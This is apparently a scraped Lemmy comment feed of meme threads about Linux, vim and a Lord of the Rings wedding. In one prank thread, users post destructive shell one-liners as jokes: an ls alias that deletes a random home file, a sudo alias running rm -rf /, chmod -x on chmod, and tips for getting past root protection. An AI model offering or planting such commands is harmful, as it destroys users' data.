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PunnyName, to memes in slap back to reality

Woah, there goes gravity!

programmer_belch, to linuxmemes in Just a little bit of trolling...
@programmer_belch@lemmy.dbzer0.com avatar

Why not make it more mischievous?


<span style="color:#323232;">alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
</span>

This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.

Asudox,
@Asudox@lemmy.world avatar

lil trollin’

jroid8,

You monster

JustUseMint,

Jesus fucking Christ

wabafee,
@wabafee@lemmy.world avatar

Calm down satan

yuki2501,
@yuki2501@lemmy.world avatar

Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

programmer_belch,
@programmer_belch@lemmy.dbzer0.com avatar

Russian Roulette Linux, the new distro using a coreutils implementation with a little trick

possiblylinux127, to linuxmemes in Just a little bit of trolling...

sudo chmod -x /bin/chmod

eager_eagle,
@eager_eagle@lemmy.world avatar

I used the stones to destroy the stones

cygnus, to linuxmemes in Just a little bit of trolling...
@cygnus@lemmy.ca avatar

Joke’s on you, I have transcended using ls because I have my entire folder structure memorized.

wiikifox,
@wiikifox@pawb.social avatar

clones a git repo

Rentlar,

“Real” linux users never exit vim and just use the internal shell there, so they are protected.

LinyosT,

Only because exiting vim is still long lost knowledge.

cygnus, (edited )
@cygnus@lemmy.ca avatar

Legend has it that the Elders knew of a world outside Vim, a world that encompasses it and all other things. That arcana is now lost, and none can transcend our plane of existence. Vim is all we know.

pewgar_seemsimandroid,

boo! emacs

olafurp, to linuxmemes in Just a little bit of trolling...

alias sudo=“sudo rm -rf /”

Discover5164,

you need no preserve root otherwise it will fail

shotgun_crab,

Or you can just do /*, which is shorter

ninjan, to linuxmemes in Just a little bit of trolling...

That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”

Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.

independantiste,
@independantiste@sh.itjust.works avatar

Unless they updated their system with Sudo shortly before

bdonvr,

Pffft who’s not using passwordless sudo anyway

ninjan,

I don’t, after doing the classic rm -r -f / when I meant ./ the second time I realized I’m too much of a dumbass to be allowed to use sudo without password.

voidMainVoid,

I’ve always had a password. One of the biggest benefits of Linux is security. Why would you undermine that by not using a password?

bdonvr,

I do have a password. Sudo is just setup not to ask for it.

On servers of course I use a password for sudo - but on a home machine there’s not much of a point I don’t think. It’s off when I’m not actively using it, and if some attacker or malware has access to my user they already have access to all my important files, or have physical access.

sagrotan, to memes in 🧙‍♂️
@sagrotan@lemmy.world avatar

*Putting on a penis ring, too.

Radiant_sir_radiant, to memes in WD-40 and some tape are the only tools you need in this life.

I also like RUD (rapid unscheduled disassembly).

Harpsist, to memes in 🧙‍♂️

Our friends wedding went exactly like this. As. It was a hobbit themed wedding.

arken, to memes in 🧙‍♂️

“dressed as Sauron” would also mean you would attract some attention before the ceremony, basically dressed as a giant burning vagina

Glaive0, to memes in WD-40 and some tape are the only tools you need in this life.

I use “Observational Maintenance” all the time:

When you ask someone to look at a problem and it’s fixed by the time they do.

A friend showed me an issue they’d been having for over a YEAR. I did almost NOTHING and it was working by the time I looked at it.

More often than not it’s me that looks dumb, though.p

harry315, to memes in 🧙‍♂️

!lotrmemes would love that meme

ornery_chemist, to memes in WD-40 and some tape are the only tools you need in this life.

Pure by ocular spectroscopy = it looked good enough

Pharma distillation = tossing the chemical and buying a new bottle from Sigma

Retro-retro-Cope rearrangement = no reaction happened, go home and cry

Gumbyyy, to memes in 🧙‍♂️

Well now I wish I had thought of this for my wedding

Gabu, to memes in 🧙‍♂️

Seems like the perfect way to stage a polyamorous wedding.

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